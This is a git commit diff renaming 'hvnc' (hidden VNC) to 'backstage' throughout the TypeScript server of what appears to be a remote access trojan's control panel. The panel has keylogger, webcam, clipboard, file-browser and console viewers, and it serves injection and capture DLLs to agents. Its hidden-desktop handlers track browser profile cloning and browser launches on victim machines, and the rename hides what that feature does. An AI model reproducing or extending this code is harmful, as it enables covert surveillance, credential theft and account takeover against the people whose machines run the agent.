rename all instances of "hvnc" to "backstage"

This commit is contained in:
KingKDot
2026-07-13 10:22:19 -05:00
parent 447efa5192
commit 6d1a20206d
61 changed files with 1653 additions and 1653 deletions
+25 -25
View File
@@ -93,34 +93,34 @@ import {
handleDesktopEncoderCapabilities,
handleConsoleViewerMessage,
handleConsoleViewerOpen,
handleHVNCViewerMessage,
handleHVNCViewerOpen,
handlebackstageViewerMessage,
handlebackstageViewerOpen,
handleWebcamViewerMessage,
handleWebcamViewerOpen,
handleWebcamDevices,
handleHVNCCloneProgress,
handleHVNCLookupResult,
handleHVNCBrowserCheckResult,
handleHVNCInstalledAppsResult,
handleHVNCDXGIStatus,
handleHVNCBrowserLaunchStatus,
handleHVNCWindowListResult,
handlebackstageCloneProgress,
handlebackstageLookupResult,
handlebackstageBrowserCheckResult,
handlebackstageInstalledAppsResult,
handlebackstageDXGIStatus,
handlebackstageBrowserLaunchStatus,
handlebackstageWindowListResult,
handleClipboardContent,
handleWebrtcP2PAnswer,
handleWebrtcP2PIce,
cleanupRdViewerP2P,
handleRemoteDesktopViewerMessage,
handleRemoteDesktopViewerOpen,
hvncStreamingState,
backstageStreamingState,
notifyConsoleClosed,
notifyRdInputLatency,
notifyRemoteDesktopStatus,
rdStreamingState,
webcamStreamingState,
sendDesktopCommand,
sendHVNCCommand,
sendbackstageCommand,
stopConsoleOnTarget,
} from "./server/ws-console-rd-hvnc";
} from "./server/ws-console-rd-backstage";
import {
handleFileBrowserMessage as forwardFileBrowserMessage,
handleFileBrowserViewerMessage,
@@ -200,7 +200,7 @@ metrics.setSnapshotEnricher((snapshot) => {
notificationRateClients: notificationRate.size,
pendingNotificationScreenshots: pendingNotificationScreenshots.size,
rdStreamingClients: rdStreamingState.size,
hvncStreamingClients: hvncStreamingState.size,
backstageStreamingClients: backstageStreamingState.size,
webcamStreamingClients: webcamStreamingState.size,
},
};
@@ -414,7 +414,7 @@ const notificationPluginHandlers = createNotificationPluginHandlers({
savePluginState,
});
type SocketRole = ClientRole | "console_viewer" | "rd_viewer" | "webcam_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "notifications_viewer";
type SocketRole = ClientRole | "console_viewer" | "rd_viewer" | "webcam_viewer" | "backstage_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "notifications_viewer";
type PendingScript = {
resolve: (result: any) => void;
@@ -591,13 +591,13 @@ async function startServer() {
pendingScripts,
pendingCommandReplies,
rdStreamingState,
hvncStreamingState,
backstageStreamingState,
webcamStreamingState,
getNotificationConfig,
handleConsoleViewerOpen,
handleRemoteDesktopViewerOpen,
handleWebcamViewerOpen,
handleHVNCViewerOpen,
handlebackstageViewerOpen,
handleFileBrowserViewerOpen,
handleProcessViewerOpen,
handleKeyloggerViewerOpen,
@@ -620,7 +620,7 @@ async function startServer() {
handleConsoleViewerMessage,
handleRemoteDesktopViewerMessage,
handleWebcamViewerMessage,
handleHVNCViewerMessage,
handlebackstageViewerMessage,
handleFileBrowserViewerMessage,
handleProcessViewerMessage,
handleKeyloggerViewerMessage,
@@ -674,13 +674,13 @@ async function startServer() {
handleVoiceUplink,
handleDesktopAudioUplink,
handleWebcamDevices,
handleHVNCCloneProgress,
handleHVNCLookupResult,
handleHVNCBrowserCheckResult,
handleHVNCInstalledAppsResult,
handleHVNCDXGIStatus,
handleHVNCBrowserLaunchStatus,
handleHVNCWindowListResult,
handlebackstageCloneProgress,
handlebackstageLookupResult,
handlebackstageBrowserCheckResult,
handlebackstageInstalledAppsResult,
handlebackstageDXGIStatus,
handlebackstageBrowserLaunchStatus,
handlebackstageWindowListResult,
handleClipboardContent,
handleWebrtcP2PAnswer,
handleWebrtcP2PIce,
@@ -689,7 +689,7 @@ async function startServer() {
cleanupDesktopAudioViewer,
stopConsoleOnTarget,
sendDesktopCommand,
sendHVNCCommand,
sendbackstageCommand,
notifyConsoleClosed,
clearPendingNotificationScreenshots: notificationPluginHandlers.clearPendingNotificationScreenshots,
clearClientPluginState: notificationPluginHandlers.clearClientPluginState,
+2 -2
View File
@@ -46,7 +46,7 @@ describe("protocol encode/decode", () => {
monitor: 1,
fps: 24,
format: "h264",
hvnc: true,
backstage: true,
},
data: new Uint8Array([0, 0, 0, 1, 0x67, 0x42, 0xe0, 0x1e]),
};
@@ -56,7 +56,7 @@ describe("protocol encode/decode", () => {
expect(decoded.type).toBe("frame");
expect(decoded.header.format).toBe("h264");
expect(decoded.header.hvnc).toBe(true);
expect(decoded.header.backstage).toBe(true);
expect(decoded.header.monitor).toBe(1);
expect(decoded.header.fps).toBe(24);
expect(Array.from(decoded.data)).toEqual(Array.from(frame.data));
+1 -1
View File
@@ -190,7 +190,7 @@ export type FrameHeader = {
fps: number;
format: "jpeg" | "webp" | "raw" | "h264";
hash?: string;
hvnc?: boolean;
backstage?: boolean;
webcam?: boolean;
};
@@ -95,7 +95,7 @@ describe("/api/auth/me featurePermissions", () => {
expect(body.featurePermissions.webcam).toBe(false);
expect(body.featurePermissions.file_browser).toBe(false);
expect(body.featurePermissions.console).toBe(true);
expect(body.featurePermissions.hvnc).toBe(true);
expect(body.featurePermissions.backstage).toBe(true);
} finally {
deleteUser(auth.userId);
}
@@ -210,10 +210,10 @@ describe("/api/auth/feature-check", () => {
test("both feature and client denied returns both reasons", async () => {
const auth = await createTokenFor("operator");
try {
setUserFeaturePermission(auth.userId, "hvnc", false);
setUserFeaturePermission(auth.userId, "backstage", false);
// client_scope stays "none" => no access
const url = new URL("https://localhost/api/auth/feature-check?feature=hvnc&clientId=client-x");
const url = new URL("https://localhost/api/auth/feature-check?feature=backstage&clientId=client-x");
const res = await handleAuthRoutes(
new Request(url, {
method: "GET",
@@ -275,7 +275,7 @@ function summarizeCpuProfile(profile: any, durationMs: number) {
const SHARED_UI_SETTING_FEATURES: Record<string, FeatureName> = {
remote_desktop: "remote_desktop",
hvnc: "hvnc",
backstage: "backstage",
webcam: "webcam",
};
@@ -332,7 +332,7 @@ function sanitizeSharedUiSettings(scope: string, raw: unknown): Record<string, u
assignIfDefined(out, "smoothing", pickSteppedNumber(input.smoothing, 0, 80, 5));
assignIfDefined(out, "recordMode", pickString(input.recordMode, ["normal", "compact"]));
assignIfDefined(out, "recordFps", pickString(input.recordFps, ["", "3", "5", "10", "15", "30", "60"]));
} else if (scope === "hvnc") {
} else if (scope === "backstage") {
assignIfDefined(out, "resolution", pickString(input.resolution, ["720", "1080", "1440", "-1"]));
assignIfDefined(out, "dxgi", pickBoolean(input.dxgi));
assignIfDefined(out, "uia", pickBoolean(input.uia));
@@ -103,7 +103,7 @@ const STATIC_PAGES: StaticPageDef[] = [
const QUERY_CLIENT_PAGES: QueryClientPageDef[] = [
{ path: "/remotedesktop", file: "remotedesktop.html" },
{ path: "/webcam", file: "webcam.html" },
{ path: "/hvnc", file: "hvnc.html" },
{ path: "/backstage", file: "backstage.html" },
{ path: "/voice", file: "voice.html" },
{ path: "/winre", file: "winre.html" },
];
@@ -24,7 +24,7 @@ export function issueWebrtcPublishToken(clientId: string): string {
return token;
}
export type WebrtcKind = "desktop" | "hvnc" | "webcam" | "audio";
export type WebrtcKind = "desktop" | "backstage" | "webcam" | "audio";
export function webrtcStreamPathFor(clientId: string, kind: WebrtcKind): string {
return `agents/${clientId}/${kind}`;
@@ -35,7 +35,7 @@ export async function handleWebrtcRoutes(req: Request, url: URL): Promise<Respon
const rest = url.pathname.slice("/api/webrtc/".length);
// /api/webrtc/agents/<clientId>/<kind>/(whip|whep)[/<sessionId>]
const match = rest.match(/^(agents\/[A-Za-z0-9_.\-]+\/(?:desktop|hvnc|webcam|audio))\/(whip|whep)(\/[A-Za-z0-9_.\-]+)?$/);
const match = rest.match(/^(agents\/[A-Za-z0-9_.\-]+\/(?:desktop|backstage|webcam|audio))\/(whip|whep)(\/[A-Za-z0-9_.\-]+)?$/);
if (!match) return new Response("Not Found", { status: 404 });
const [, streamPath, kind, sessionSuffix] = match;
@@ -182,14 +182,14 @@ type WsLifecycleDeps = {
pendingScripts: Map<string, PendingScript>;
pendingCommandReplies: Map<string, PendingCommandReply>;
rdStreamingState: Map<string, unknown>;
hvncStreamingState: Map<string, unknown>;
backstageStreamingState: Map<string, unknown>;
webcamStreamingState: Map<string, unknown>;
getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number; clipboardEnabled?: boolean };
handleDashboardViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleConsoleViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleRemoteDesktopViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleWebcamViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleHVNCViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handlebackstageViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleFileBrowserViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleProcessViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleKeyloggerViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
@@ -201,7 +201,7 @@ type WsLifecycleDeps = {
handleConsoleViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleRemoteDesktopViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleWebcamViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleHVNCViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handlebackstageViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleFileBrowserViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleProcessViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleKeyloggerViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
@@ -236,13 +236,13 @@ type WsLifecycleDeps = {
handleVoiceUplink: (clientId: string, payload: any) => void;
handleDesktopAudioUplink: (clientId: string, payload: any) => void;
handleWebcamDevices: (clientId: string, payload: any) => void;
handleHVNCCloneProgress: (clientId: string, payload: any) => void;
handleHVNCLookupResult: (clientId: string, payload: any) => void;
handleHVNCBrowserCheckResult: (clientId: string, payload: any) => void;
handleHVNCInstalledAppsResult: (clientId: string, payload: any) => void;
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
handleHVNCBrowserLaunchStatus: (clientId: string, payload: any) => void;
handleHVNCWindowListResult: (clientId: string, payload: any) => void;
handlebackstageCloneProgress: (clientId: string, payload: any) => void;
handlebackstageLookupResult: (clientId: string, payload: any) => void;
handlebackstageBrowserCheckResult: (clientId: string, payload: any) => void;
handlebackstageInstalledAppsResult: (clientId: string, payload: any) => void;
handlebackstageDXGIStatus: (clientId: string, payload: any) => void;
handlebackstageBrowserLaunchStatus: (clientId: string, payload: any) => void;
handlebackstageWindowListResult: (clientId: string, payload: any) => void;
handleClipboardContent: (clientId: string, payload: any) => void;
handleWebrtcP2PAnswer: (clientId: string, payload: any) => void;
handleWebrtcP2PIce: (clientId: string, payload: any) => void;
@@ -251,7 +251,7 @@ type WsLifecycleDeps = {
cleanupDesktopAudioViewer: (ws: ServerWebSocket<SocketData>) => void;
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
sendHVNCCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
sendbackstageCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
notifyConsoleClosed: (clientId: string, reason: string) => void;
clearPendingNotificationScreenshots: (clientId: string) => void;
clearClientPluginState: (clientId: string) => void;
@@ -327,7 +327,7 @@ export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLif
if (role === "console_viewer") return deps.handleConsoleViewerOpen(ws);
if (role === "rd_viewer") return deps.handleRemoteDesktopViewerOpen(ws);
if (role === "webcam_viewer") return deps.handleWebcamViewerOpen(ws);
if (role === "hvnc_viewer") return deps.handleHVNCViewerOpen(ws);
if (role === "backstage_viewer") return deps.handlebackstageViewerOpen(ws);
if (role === "file_browser_viewer") return deps.handleFileBrowserViewerOpen(ws);
if (role === "process_viewer") return deps.handleProcessViewerOpen(ws);
if (role === "keylogger_viewer") return deps.handleKeyloggerViewerOpen(ws);
@@ -377,7 +377,7 @@ export async function handleWebSocketMessage(
if (socketRole === "console_viewer") return deps.handleConsoleViewerMessage(ws, message);
if (socketRole === "rd_viewer") return deps.handleRemoteDesktopViewerMessage(ws, message);
if (socketRole === "webcam_viewer") return deps.handleWebcamViewerMessage(ws, message);
if (socketRole === "hvnc_viewer") return deps.handleHVNCViewerMessage(ws, message);
if (socketRole === "backstage_viewer") return deps.handlebackstageViewerMessage(ws, message);
if (socketRole === "file_browser_viewer") return deps.handleFileBrowserViewerMessage(ws, message);
if (socketRole === "process_viewer") return deps.handleProcessViewerMessage(ws, message);
if (socketRole === "keylogger_viewer") return deps.handleKeyloggerViewerMessage(ws, message);
@@ -641,7 +641,7 @@ export async function handleWebSocketMessage(
}
}
deps.rdStreamingState.delete(resolvedId);
deps.hvncStreamingState.delete(resolvedId);
deps.backstageStreamingState.delete(resolvedId);
deps.webcamStreamingState.delete(resolvedId);
}
@@ -899,26 +899,26 @@ export async function handleWebSocketMessage(
deps.handleWebcamDevices(client.id, payload);
deps.notifyDashboard();
break;
case "hvnc_clone_progress":
deps.handleHVNCCloneProgress(client.id, payload);
case "backstage_clone_progress":
deps.handlebackstageCloneProgress(client.id, payload);
break;
case "hvnc_lookup_result":
deps.handleHVNCLookupResult(client.id, payload);
case "backstage_lookup_result":
deps.handlebackstageLookupResult(client.id, payload);
break;
case "hvnc_browser_check_result":
deps.handleHVNCBrowserCheckResult(client.id, payload);
case "backstage_browser_check_result":
deps.handlebackstageBrowserCheckResult(client.id, payload);
break;
case "hvnc_installed_apps_result":
deps.handleHVNCInstalledAppsResult(client.id, payload);
case "backstage_installed_apps_result":
deps.handlebackstageInstalledAppsResult(client.id, payload);
break;
case "hvnc_dxgi_status":
deps.handleHVNCDXGIStatus(client.id, payload);
case "backstage_dxgi_status":
deps.handlebackstageDXGIStatus(client.id, payload);
break;
case "hvnc_browser_launch_status":
deps.handleHVNCBrowserLaunchStatus(client.id, payload);
case "backstage_browser_launch_status":
deps.handlebackstageBrowserLaunchStatus(client.id, payload);
break;
case "hvnc_window_list_result":
deps.handleHVNCWindowListResult(client.id, payload);
case "backstage_window_list_result":
deps.handlebackstageWindowListResult(client.id, payload);
break;
case "clipboard_content":
deps.handleClipboardContent(client.id, payload);
@@ -1028,26 +1028,26 @@ export function handleWebSocketClose(
return;
}
if (role === "hvnc_viewer") {
if (role === "backstage_viewer") {
deps.cleanupRdViewerP2P(ws);
let removedClientId = clientId;
for (const [sid, sess] of sessionManager.getAllHvncSessions().entries()) {
for (const [sid, sess] of sessionManager.getAllbackstageSessions().entries()) {
if (sess.viewer === ws) {
removedClientId = sess.clientId;
sessionManager.deleteHvncSession(sid);
sessionManager.deletebackstageSession(sid);
break;
}
}
const stillViewing = sessionManager.hasHvncSessionsForClient(removedClientId);
const stillViewing = sessionManager.hasbackstageSessionsForClient(removedClientId);
if (!stillViewing) {
const target = clientManager.getClient(removedClientId);
if (target) {
deps.sendHVNCCommand(target, "hvnc_stop", {});
deps.sendHVNCCommand(target, "webrtc_stop", { kind: "hvnc" });
deps.sendbackstageCommand(target, "backstage_stop", {});
deps.sendbackstageCommand(target, "webrtc_stop", { kind: "backstage" });
}
deps.hvncStreamingState.delete(removedClientId);
logger.debug(`[hvnc] cleaned up state for client ${removedClientId}`);
deps.backstageStreamingState.delete(removedClientId);
logger.debug(`[backstage] cleaned up state for client ${removedClientId}`);
}
return;
}
@@ -1131,7 +1131,7 @@ export function handleWebSocketClose(
}
}
deps.rdStreamingState.delete(clientId);
deps.hvncStreamingState.delete(clientId);
deps.backstageStreamingState.delete(clientId);
deps.webcamStreamingState.delete(clientId);
stopRemoteDesktopRecording(clientId, "client disconnected");
@@ -92,9 +92,9 @@ const clientViewerUpgradeRoutes: ClientViewerUpgradeRoute[] = [
feature: "remote_desktop",
},
{
pattern: /^\/api\/clients\/(.+)\/hvnc\/ws$/,
role: "hvnc_viewer",
feature: "hvnc",
pattern: /^\/api\/clients\/(.+)\/backstage\/ws$/,
role: "backstage_viewer",
feature: "backstage",
},
{
pattern: /^\/api\/clients\/(.+)\/webcam\/ws$/,
@@ -2,7 +2,7 @@ import type { ServerWebSocket } from "bun";
import { v4 as uuidv4 } from "uuid";
import type { SocketData } from "../sessions/types";
export type P2PKind = "desktop" | "hvnc" | "webcam" | "audio";
export type P2PKind = "desktop" | "backstage" | "webcam" | "audio";
export type P2PSession = {
viewer: ServerWebSocket<SocketData>;
@@ -5,13 +5,13 @@ import * as sessionManager from "../sessions/sessionManager";
import type { SocketData } from "../sessions/types";
import type { ClientInfo } from "../types";
import {
handleHVNCViewerMessage,
handleHVNCViewerOpen,
handlebackstageViewerMessage,
handlebackstageViewerOpen,
handleRemoteDesktopViewerMessage,
handleRemoteDesktopViewerOpen,
hvncStreamingState,
backstageStreamingState,
rdStreamingState,
} from "./ws-console-rd-hvnc";
} from "./ws-console-rd-backstage";
type MockWs = {
data: SocketData;
@@ -73,11 +73,11 @@ afterEach(() => {
for (const session of sessionManager.getRdSessionsForClient(clientId)) {
sessionManager.deleteRdSession(session.id);
}
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
sessionManager.deleteHvncSession(session.id);
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
sessionManager.deletebackstageSession(session.id);
}
rdStreamingState.delete(clientId);
hvncStreamingState.delete(clientId);
backstageStreamingState.delete(clientId);
clientManager.deleteClient(clientId);
}
clientIdsToCleanup.clear();
@@ -158,14 +158,14 @@ describe("remote desktop viewer control", () => {
});
});
describe("hvnc viewer control", () => {
test("forwards hvnc_stop even when server stream state is stale", () => {
const clientId = `hvnc-stale-stop-${Date.now().toString(36)}`;
describe("backstage viewer control", () => {
test("forwards backstage_stop even when server stream state is stale", () => {
const clientId = `backstage-stale-stop-${Date.now().toString(36)}`;
const { agentWs } = createClient(clientId);
const viewer = createMockWs({ role: "hvnc_viewer", clientId });
const viewer = createMockWs({ role: "backstage_viewer", clientId });
handleHVNCViewerOpen(viewer as any);
hvncStreamingState.set(clientId, {
handlebackstageViewerOpen(viewer as any);
backstageStreamingState.set(clientId, {
isStreaming: false,
virtualMode: true,
display: 0,
@@ -175,11 +175,11 @@ describe("hvnc viewer control", () => {
lastFps: 0,
});
handleHVNCViewerMessage(viewer as any, JSON.stringify({ type: "hvnc_stop" }));
handlebackstageViewerMessage(viewer as any, JSON.stringify({ type: "backstage_stop" }));
const commands = agentCommands(agentWs);
expect(commands.filter((msg) => msg.commandType === "hvnc_stop")).toHaveLength(1);
expect(commands.filter((msg) => msg.commandType === "backstage_stop")).toHaveLength(1);
expect(commands.filter((msg) => msg.commandType === "webrtc_stop")).toHaveLength(1);
expect(hvncStreamingState.get(clientId)?.isStreaming).toBe(false);
expect(backstageStreamingState.get(clientId)?.isStreaming).toBe(false);
});
});
@@ -57,7 +57,7 @@ function getInjectionDllBytes(): Uint8Array | null {
}
_cachedInjectionDll = new Uint8Array(readFileSync(_dllCachePath));
_dllCacheMtimeMs = st.mtimeMs;
logger.info(`[hvnc] reloaded injection DLL from ${_dllCachePath} (${_cachedInjectionDll.length} bytes)`);
logger.info(`[backstage] reloaded injection DLL from ${_dllCachePath} (${_cachedInjectionDll.length} bytes)`);
return _cachedInjectionDll;
} catch {
_dllCachePath = null;
@@ -73,14 +73,14 @@ function getInjectionDllBytes(): Uint8Array | null {
_cachedInjectionDll = new Uint8Array(readFileSync(dllPath));
_dllCachePath = dllPath;
_dllCacheMtimeMs = st.mtimeMs;
logger.info(`[hvnc] loaded injection DLL from ${dllPath} (${_cachedInjectionDll.length} bytes)`);
logger.info(`[backstage] loaded injection DLL from ${dllPath} (${_cachedInjectionDll.length} bytes)`);
return _cachedInjectionDll;
} catch {
continue;
}
}
logger.warn(`[hvnc] injection DLL not found. Checked: ${candidates.join(", ")}`);
logger.warn(`[backstage] injection DLL not found. Checked: ${candidates.join(", ")}`);
return null;
}
@@ -101,7 +101,7 @@ function getCaptureDllBytes(): Uint8Array | null {
}
_cachedCaptureDll = new Uint8Array(readFileSync(_captureDllCachePath));
_captureDllCacheMtimeMs = st.mtimeMs;
logger.info(`[hvnc] reloaded capture DLL from ${_captureDllCachePath} (${_cachedCaptureDll.length} bytes)`);
logger.info(`[backstage] reloaded capture DLL from ${_captureDllCachePath} (${_cachedCaptureDll.length} bytes)`);
return _cachedCaptureDll;
} catch {
_captureDllCachePath = null;
@@ -117,7 +117,7 @@ function getCaptureDllBytes(): Uint8Array | null {
_cachedCaptureDll = new Uint8Array(readFileSync(dllPath));
_captureDllCachePath = dllPath;
_captureDllCacheMtimeMs = st.mtimeMs;
logger.info(`[hvnc] loaded capture DLL from ${dllPath} (${_cachedCaptureDll.length} bytes)`);
logger.info(`[backstage] loaded capture DLL from ${dllPath} (${_cachedCaptureDll.length} bytes)`);
return _cachedCaptureDll;
} catch {
continue;
@@ -792,7 +792,7 @@ function broadcastRemoteDesktopFrame(clientId: string, bytes: Uint8Array, header
return broadcastRemoteDesktopFrame(clientId, bytes, header);
};
type HVNCStreamingState = {
type backstageStreamingState = {
isStreaming: boolean;
virtualMode: boolean;
display: number;
@@ -802,11 +802,11 @@ type HVNCStreamingState = {
lastFps: number;
};
function defaultHVNCStreamingState(): HVNCStreamingState {
function defaultbackstageStreamingState(): backstageStreamingState {
return { isStreaming: false, virtualMode: false, display: 0, quality: 90, codec: "", maxFps: 120, lastFps: 0 };
}
export const hvncStreamingState = new Map<string, HVNCStreamingState>();
export const backstageStreamingState = new Map<string, backstageStreamingState>();
export const webcamStreamingState = new Map<string, { isStreaming: boolean; deviceIndex: number; fps: number; useMax: boolean; quality: number; codec: string }>();
export function handleWebcamViewerOpen(ws: ServerWebSocket<SocketData>) {
@@ -850,10 +850,10 @@ export function handleWebcamDevices(clientId: string, payload: any) {
}
}
export function handleHVNCCloneProgress(clientId: string, payload: any) {
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
export function handlebackstageCloneProgress(clientId: string, payload: any) {
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
safeSendViewer(session.viewer, {
type: "hvnc_clone_progress",
type: "backstage_clone_progress",
browser: String(payload.browser || ""),
percent: Number(payload.percent) || 0,
copiedBytes: Number(payload.copiedBytes) || 0,
@@ -863,10 +863,10 @@ export function handleHVNCCloneProgress(clientId: string, payload: any) {
}
}
export function handleHVNCLookupResult(clientId: string, payload: any) {
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
export function handlebackstageLookupResult(clientId: string, payload: any) {
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
safeSendViewer(session.viewer, {
type: "hvnc_lookup_result",
type: "backstage_lookup_result",
exe: String(payload.exe || ""),
path: String(payload.path || ""),
done: !!payload.done,
@@ -874,22 +874,22 @@ export function handleHVNCLookupResult(clientId: string, payload: any) {
}
}
export function handleHVNCBrowserCheckResult(clientId: string, payload: any) {
export function handlebackstageBrowserCheckResult(clientId: string, payload: any) {
const browsers: Record<string, boolean> = {};
if (payload.browsers && typeof payload.browsers === "object") {
for (const [key, val] of Object.entries(payload.browsers)) {
browsers[key] = !!val;
}
}
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
safeSendViewer(session.viewer, {
type: "hvnc_browser_check_result",
type: "backstage_browser_check_result",
browsers,
});
}
}
export function handleHVNCInstalledAppsResult(clientId: string, payload: any) {
export function handlebackstageInstalledAppsResult(clientId: string, payload: any) {
const apps: Array<{ name: string; exePath: string; icon: string }> = [];
if (Array.isArray(payload.apps)) {
for (const app of payload.apps) {
@@ -900,19 +900,19 @@ export function handleHVNCInstalledAppsResult(clientId: string, payload: any) {
});
}
}
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
safeSendViewer(session.viewer, {
type: "hvnc_installed_apps_result",
type: "backstage_installed_apps_result",
apps,
done: !!payload.done,
});
}
}
export function handleHVNCDXGIStatus(clientId: string, payload: any) {
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
export function handlebackstageDXGIStatus(clientId: string, payload: any) {
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
safeSendViewer(session.viewer, {
type: "hvnc_dxgi_status",
type: "backstage_dxgi_status",
success: !!payload.success,
gpuPid: Number(payload.gpuPid) || 0,
message: String(payload.message || ""),
@@ -920,10 +920,10 @@ export function handleHVNCDXGIStatus(clientId: string, payload: any) {
}
}
export function handleHVNCBrowserLaunchStatus(clientId: string, payload: any) {
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
export function handlebackstageBrowserLaunchStatus(clientId: string, payload: any) {
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
safeSendViewer(session.viewer, {
type: "hvnc_browser_launch_status",
type: "backstage_browser_launch_status",
browser: String(payload.browser || ""),
step: String(payload.step || ""),
success: !!payload.success,
@@ -932,7 +932,7 @@ export function handleHVNCBrowserLaunchStatus(clientId: string, payload: any) {
}
}
export function handleHVNCWindowListResult(clientId: string, payload: any) {
export function handlebackstageWindowListResult(clientId: string, payload: any) {
const windows: Array<{
title: string; x: number; y: number; width: number; height: number;
pid: number; processName: string; monitor: number;
@@ -968,8 +968,8 @@ export function handleHVNCWindowListResult(clientId: string, payload: any) {
});
}
}
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
safeSendViewer(session.viewer, { type: "hvnc_window_list_result", windows, monitors });
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
safeSendViewer(session.viewer, { type: "backstage_window_list_result", windows, monitors });
}
}
@@ -977,8 +977,8 @@ export function handleClipboardContent(clientId: string, payload: any) {
const text = String(payload.text || "");
const source = String(payload.source || "");
if (!text) return;
if (source === "hvnc") {
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
if (source === "backstage") {
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
safeSendViewer(session.viewer, { type: "clipboard_content", text, source });
}
} else {
@@ -1110,7 +1110,7 @@ export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw:
}
}
export function handleHVNCViewerOpen(ws: ServerWebSocket<SocketData>) {
export function handlebackstageViewerOpen(ws: ServerWebSocket<SocketData>) {
const { clientId, userId, userRole } = ws.data;
if (userId !== undefined && userRole && !canUserAccessClient(userId, userRole as any, clientId)) {
ws.close(1008, "Forbidden: client access denied");
@@ -1120,7 +1120,7 @@ export function handleHVNCViewerOpen(ws: ServerWebSocket<SocketData>) {
ws.data.sessionId = sessionId;
const target = clientManager.getClient(clientId);
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
sessionManager.addHvncSession(session);
sessionManager.addbackstageSession(session);
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
if (!target) {
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
@@ -1129,8 +1129,8 @@ export function handleHVNCViewerOpen(ws: ServerWebSocket<SocketData>) {
safeSendViewer(ws, { type: "status", status: "connecting", sessionId });
}
function notifyHVNCStatus(clientId: string, status: string, reason?: string) {
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
function notifybackstageStatus(clientId: string, status: string, reason?: string) {
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
safeSendViewer(session.viewer, {
type: "status",
status,
@@ -1140,7 +1140,7 @@ function notifyHVNCStatus(clientId: string, status: string, reason?: string) {
}
}
export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
const payload = decodeViewerPayload(raw);
if (!payload) return;
if (!payload || typeof payload.type !== "string") return;
@@ -1151,27 +1151,27 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
return;
}
const state = hvncStreamingState.get(clientId) || defaultHVNCStreamingState();
const state = backstageStreamingState.get(clientId) || defaultbackstageStreamingState();
logger.debug(`[hvnc] inbound viewer msg type=${payload.type} client=${clientId}`);
logger.debug(`[backstage] inbound viewer msg type=${payload.type} client=${clientId}`);
switch (payload.type) {
case "hvnc_start":
case "backstage_start":
{
const virtualMode = (payload as any).virtual_mode === true || (payload as any).hidden_mode === true;
if (state.isStreaming && state.virtualMode !== virtualMode) {
sendHVNCCommand(target, "hvnc_stop", {});
sendbackstageCommand(target, "backstage_stop", {});
state.isStreaming = false;
logger.debug(`[hvnc] restarting stream to change virtual_mode=${state.virtualMode} -> ${virtualMode}`);
logger.debug(`[backstage] restarting stream to change virtual_mode=${state.virtualMode} -> ${virtualMode}`);
}
if (!state.isStreaming) {
if ((payload as any).webrtc === true) {
const streamPath = webrtcStreamPathFor(clientId, "hvnc");
const streamPath = webrtcStreamPathFor(clientId, "backstage");
const token = issueWebrtcPublishToken(clientId);
sendHVNCCommand(target, "webrtc_publish", {
sendbackstageCommand(target, "webrtc_publish", {
streamPath,
whipPath: `/api/webrtc/${streamPath}/whip`,
token,
kind: "hvnc",
kind: "backstage",
hasVideo: true,
hasAudio: false,
});
